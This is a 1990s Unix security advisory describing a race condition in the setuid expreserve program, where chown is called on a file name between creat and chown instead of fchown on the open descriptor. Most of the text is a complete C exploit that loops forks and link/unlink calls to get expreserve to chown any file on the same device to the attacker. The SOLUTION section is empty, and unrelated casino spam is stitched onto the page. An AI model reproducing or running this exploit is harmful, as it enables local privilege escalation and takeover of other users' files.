Casinos Not On GamstopNon Gamstop CasinosCasinos Not On GamstopOnline Casinos UKNon Gamstop Casino
1st Jan 1996 [SBWID-81]
COMMAND
	    expreserve(1)
SYSTEMS AFFECTED
	    This bug exists in all expreserves up to BSD 4.3. (well not  quite
	    ). On all System V  and earlier releases this works.  Under System
	    V  expreserve  places   the  Ex  temp   files  in  the   directory
	    /usr/preserve/$LOGNAME and under  Berkeley releses it  places them
	    under  either  /usr/preserve  or  /var/preserve  (SunOS  4.X among
	    others).
PROBLEM
	    A  rather  barbaric  race  condition  in  expreserve  that  allows
	    the   setuid   program   to   be   compromised   by  changing  the
	    permissions  of  a  file.  This  "feature"  will allow security to
	    be  breached  on  all  standard  Systems  Vs  and all Berkeley-ish
	    systems  that  have  the   /usr/preserve  directory  writable   by
	    the  user   (Note:  SunOS   was  this   directory  unwritable   by
	    default).   The   System   V   bug   was   relatively  unavoidable
	    (though  the  addition  of  the  "S"  bit to directories in SVR3.2
	    could  close  the  hole)  until  SVR4  but the Berkeley bug should
	    have  been  fixed  as  soon  as  the  fchown(2)  system  call  was
	    added to BSD. Basically the "hole" is that expreserve does:
	
	        fd = creat("/usr/preserve/Exaaa$PID", 0600);
	        chown("/usr/preserve/Exaaa$PID", real_uid, real_gid);
	
	    when it should do a:
	
	        fd = creat("/usr/preserve/Exaaa$PID", 0600);
	        fchown(fd, real_uid, real_gid);
	
	    which  avoids  the  race  (it   changes  the  permission  on   the
	    inode  that  was  creat(2)ed  and  not  the  inode  whose  name is
	    /usr/preserve/Exaaa$PID).  The  previous  examples  are   actually
	    simplified  as  expreserve  actually  looks  at  the  uid  and gid
	    as  stored  in  the  /tmp/Ex$PID  file  and  compares  them to the
	    getuid()  and  getgid()  return  values.  The  actual race is that
	    a  context  switch  may  occur  between  the creat(2) and chown(2)
	    in   expreserve   that   allows   another   process   with   write
	    permission   to   the   target   directory   to   unlink(2)    the
	    creat(2)ed  file  and  place  a  hard  link  to  another  file  by
	    that   name   in   the   target   directory,   which    expreserve
	    subsequentialies   chown(2)s   to   your   uid.   This   "feature"
	    allows  any  file  on  the  same  device  to be chown(2)ed to you.
	    Though you may see support for symbolic links, on the version   of
	    UNIX  that  this  has  been  tested  on,  this  will  only  change
	    permissions on the symlink. You  may find this confusing as  ELOOP
	    is an alleged failure   condition  for   chown(2) implying that  a
	    symbolic link resolution.  Exploit follows:
	 /*
	 * This program takes advantage of a race condition in most version of
	 * /usr/lib/expreserve.   Expreserve  create(2)s  a  file  as root  in
	 * either /usr/preserve or /usr/preserve/$USER and then chmod(2)s  the
	 * file. The  Berkeley 4.3 version  contains this bug  as does earlier
	 * versions  of  expreserve.   BSD  could  safely  fchmod(2) the  file
	 * avoiding the race but DOES NOT.  System V implementation  fchmod(2)
	 * until SVR4.0 and this bug still existed in the beta release I  saw.
	*/
	/* NOTE: This will only work  if the target directory is writeable  by
	 * the user
	*/
	#include    <stdio.h>    #include    <errno.h>    #include
	<fcntl.h>      #include       <sys/types.h>       #include
	<sys/stat.h> #include <pwd.h> #include <signal.h>
	#define TRUE  1 #define FALSE 0
	/* SUNOS 4.0 and SVR4 use "/var/preserve" */
	#ifndef PRESERVE_DIRECTORY  #define  PRESERVE_DIRECTORY  "/usr/preserve"
	#endif
	#ifndef MAIL_DIRECTORY #define MAIL_DIRECTORY    "/usr/mail" #endif
	#ifndef EXPRESERVE #define EXPRESERVE "/usr/lib/expreserve" #endif
	#ifdef SYM_LINKS extern int symlink(); #endif
	extern int errno, link(); extern char *gets();
	int (*LinkFunc)();
	struct stat st_target, st_exfile, st_spoof; struct passwd *pw;
	/* gppid = grand parent pid, ppid = parent pid, cpid = child pid */
	int ret, fd_exfile, n, gppid, ppid, cpid, i, childDied, myuid;
	char  *Prog,  buf[BUFSIZ],  *target,  *exfile,  *preserve_dir,   *spoof,
	*mailfile,
	     *strdup(), *GetBaseName();
	void CheckIt(), ChildDied();
	int   main(argc, argv) int   argc; char *argv[]; {
	        void GetTarget();
	        int GetExfile();
	        umask(0);
	        signal(SIGHUP, SIG_DFL);
	        gppid = getpid();
	        myuid = geteuid();
	        printf("pid of top level parent = %d\n", gppid);
	        Prog = *argv;
	        preserve_dir = PRESERVE_DIRECTORY;
	        close(GetExfile());
	        printf("Perserve directory = %s\n", preserve_dir);
	        /* get who you are */
	        if ((pw = getpwuid(getuid())) == (struct passwd *) 0) {
	                fprintf(stderr, "%s: can't find your passwd entry\n", Prog);
	                exit(1);
	        }
	        GetTarget();
	        if (stat(PRESERVE_DIRECTORY, &st_exfile)) {
	                perror("stat");
	                fprintf(stderr, "%s: Can't stat %s\n", Prog,
	                         PRESERVE_DIRECTORY);
	                exit(1);
	        }
	        /*
	         * Determine if we are going to use a symlink(2) or link(2) system
	         * call or if this is a cross device link and we don't have symlink().
	         */
	        if (st_target.st_dev != st_exfile.st_dev) {
	#ifndef SYM_LINKS
	                fprintf(stderr,
	                        "%s: target %s and directory %s on different %s\n",
	                        Prog, target, PRESERVE_DIRECTORY, "file systems");
	                fprintf(stderr, "%s: Cross device links not supported\n");
	                exit(1);
	#else
	                LinkFunc = symlink;
	                printf("using symlink\n");
	#endif
	        }
	        else { /* else we are on same device */
	                LinkFunc = link;
	                printf("using link\n");
	        }
	        fflush(stdout);
	        gets(buf);
	#ifdef TRUNCATE_MAIL_FILE
	        /* this is here because you might get alot of mail messages */
	        sprintf(buf, "%s/%s", MAIL_DIRECTORY, pw->pw_name);
	        mailfile = strdup(buf);
	#endif
	        /* the guts start here */
	        for (i = 1; ; i++ ) {
	                switch (ppid = fork()) { /* begin Level I switch */
	                case 0: /* tries to spoof EXPRESERVE */
	                        ppid = getpid();
	                CREATE_SECOND_CHILD:
	                        switch (cpid = fork()) { /* begin Level II switch */
	                        case 0: /* we actually exec EXPRESERVE in the grand
	                                   child of the parent process */
	                                cpid = getpid();
	                                signal(SIGHUP, SIG_IGN);
	                                close(0);
	                                GetExfile();
	                                sleep(2); /* give time to parent to get ready *
	/
	                                nice(5);  /* run at lower priority */
	                                execl(EXPRESERVE, GetBaseName(EXPRESERVE),
	                                      (char *) 0);
	                                perror("exec");
	                                fprintf(stderr, "DYING\007\007\n");
	                                fflush(stdout);
	                                kill(ppid, SIGHUP);
	                                kill(gppid, SIGHUP);
	                                exit(1);
	                                break;
	                        case -1:
	                                goto CREATE_SECOND_CHILD;
	                        default: /* first forked process */
	#ifdef NO_USER_SUBDIRECTORY
	                                sprintf(buf, "Exaaa%05d", cpid);
	#else
	                                sprintf(buf, "%s/Exaaa%05d", pw->pw_name, cpid)
	;
	#endif
	                                spoof = strdup(buf);
	                                sprintf(buf, "/tmp/Ex%05d", cpid);
	                                exfile = strdup(buf);
	                                childDied = 0;
	#ifdef SYSV
	                                sigset(SIGCHLD, ChildDied);
	#else
	                                signal(SIGCHLD, ChildDied);
	#endif
	                                while (chdir(preserve_dir)) ;
	                                while (unlink(spoof)) ;
	                                if (((LinkFunc)(target, spoof)) == 0) {
	#ifdef SYSV
	                                        sighold(SIGCHLD);
	#else
	                                        sigblock(sigmask(SIGCHLD));
	#endif
	                                        CheckIt();
	#ifdef SYSV
	                                        sigrelse(SIGCHLD);
	                                        while (childDied == 0)
	                                                ;
	#else
	                                        while (childDied == 0)
	                                                sigpause(0);
	#endif
	                                }
	                                printf("iteration %d failed\n", i);
	                                if (unlink(spoof)) {
	                                        printf("unlink of spoof %s failed\n",
	                                                spoof);
	                                }
	                                if (unlink(exfile)) {
	                                        printf("unlink of exfile %s failed\n",
	                                                exfile);
	                                }
	                                if (childDied == 0)
	                                        wait((int *) 0);
	                                exit(0);
	                                break;
	                        } /* End Level II switch */
	                        break;
	                case -1:
	                        continue;
	                default: /* grand parent */
	                        while ((cpid = wait((int *) 0)) != ppid)
	                                ;
	#ifdef TRUNCATE_MAIL_FILE
	                        close(open(mailfile, O_TRUNC | O_CREAT | O_RDWR, 0600))
	;
	#endif
	                } /* end Level I switch */
	        } /* end forever loop */
	}
	void GetTarget() {
	        char tbuf[BUFSIZ];
	        for ( ; ; ) {
	                printf("enter full pathname of target file: ");
	                gets(buf);
	                if (stat(buf, &st_target) == 0) {
	                        target = strdup(buf);
	                        return;
	                }
	                perror("stat");
	        }
	}
	int GetExfile() {
	        extern char *malloc();
	        char tbuf[BUFSIZ];
	        int fd;
	        struct stat s;
	        static int beenHere, glen;
	        static char *garbage;
	        /* first loop current directory is still dot */
	        if (!beenHere) {
	                if (stat("data", &s)) {
	                        fprintf(stderr, "%s: can't stat 'data'\n", Prog);
	                        exit(0);
	                }
	                if (s.st_size < 1) {
	                        fprintf(stderr, "%s: too small\n", Prog);
	                        exit(1);
	                }
	                glen = s.st_size;
	                if ((garbage = malloc(glen)) == (char *) 0) {
	                        fprintf(stderr, "%s: malloc of %d bytes failed\n",
	                                Prog, glen);
	                        exit(1);
	                }
	                if ((fd = open("data", O_RDONLY)) < 0) {
	                        perror("open");
	                        fprintf(stderr, "%s: failed to open 'data'\n");
	                        exit(1);
	                }
	                read(fd, garbage, glen);
	                close(fd);
	                beenHere++;
	                return 20;
	        }
	        sprintf(tbuf, "/tmp/Ex%05d", cpid);
	        exfile = strdup(tbuf);
	        if ((fd = open(tbuf, O_CREAT | O_RDWR, 0600)) < 0) {
	                perror("create");
	                fprintf(stderr, "%s: failed to create %s\n", Prog, tbuf);
	                exit(1);
	        }
	        write(fd, garbage, glen);
	        sync();
	        lseek(fd, 0L, 0);
	        return fd;
	}
	char *GetBaseName(prog) char *prog; {
	        /*extern int strlen();*/
	        register int i, first_char;
	        register char *s1;
	        s1 = prog;
	        /* trim things like "~/bin/mail//" which are legal to namei */
	        for (i = strlen(prog) - 1; i; --i)
	                if (*(s1+i) == '/') {
	                        *(s1+i) = '\0';
	                }
	                else
	                        break;
	        /* find first char after last '/' */
	        for (i = first_char = 0; *(s1+i); i++)
	                if (*(s1+i) == '/')
	                        first_char = i + 1;
	        return s1 + first_char;
	}
	#ifdef NOSTRDUP /* my old old version of HP/UX does not have strdup */
	char *strdup(s1) char *s1; {
	        extern char *malloc(), *strcpy();
	        extern int strlen();
	        char *new;
	        if ((new = malloc(strlen(s1)+1)) == (char *) 0)
	                return (char *) 0;
	        return strcpy(new, s1);
	}
	#endif
	void CheckIt() {
	        sleep(2); /* give expreserve a time slice to chown(2) the file */
	        if ((stat(spoof, &st_spoof) == 0) && (stat(target, &st_target) == 0)) {
	                if ((st_spoof.st_uid == myuid) && (st_target.st_uid == myuid))
	{
	                        printf("successful at iteration %d\007\007\007\n", i);
	                        printf("file is %s\n", spoof);
	                        fflush(stdout);
	                        kill(gppid, SIGHUP);
	                        exit(0);
	                }
	        }
	        printf("CheckIt failed\n");
	        fflush(stdout);
	}
	void ChildDied(sig) int sig; {
	        childDied++;
	        printf("EXPRESERVE done\n");
	        fflush(stdout);
	        unlink(exfile);
	        unlink(spoof);
	        wait((int *) 0);
	        exit(1);
	}
	
SOLUTION
	

Internet highlights